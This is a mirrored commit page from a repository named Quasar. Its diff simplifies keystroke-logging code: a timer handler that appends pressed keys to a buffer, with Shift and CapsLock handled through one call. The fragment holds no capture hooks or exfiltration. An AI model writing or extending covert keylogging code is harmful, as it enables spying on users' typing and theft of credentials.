mirror of https://github.com/quasar/Quasar.git
Removed unnecessary decisions
Condensed a tree of decisions to just cut the unnecessary decisions out.
This commit is contained in:
parent
4b3216267e
commit
68a1cda9b7
|
@ -167,22 +167,7 @@ private void timerLogKeys_Elapsed(object sender, System.Timers.ElapsedEventArgs
|
||||||
|
|
||||||
if (_enumValues.Contains(i)) //If our enumValues list contains to current key pressed
|
if (_enumValues.Contains(i)) //If our enumValues list contains to current key pressed
|
||||||
{
|
{
|
||||||
if (ShiftKey && CapsLock) //If the state of Shiftkey is down and Capslock is toggled on
|
_keyBuffer.Append(FromKeys(i, ShiftKey, CapsLock));
|
||||||
{
|
|
||||||
_keyBuffer.Append(FromKeys(i, true, true));
|
|
||||||
}
|
|
||||||
else if (ShiftKey) //If only the Shiftkey is pressed
|
|
||||||
{
|
|
||||||
_keyBuffer.Append(FromKeys(i, true, false));
|
|
||||||
}
|
|
||||||
else if (CapsLock) //If only Capslock is toggled on
|
|
||||||
{
|
|
||||||
_keyBuffer.Append(FromKeys(i, false, true));
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
_keyBuffer.Append(FromKeys(i, false, false));
|
|
||||||
}
|
|
||||||
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in New Issue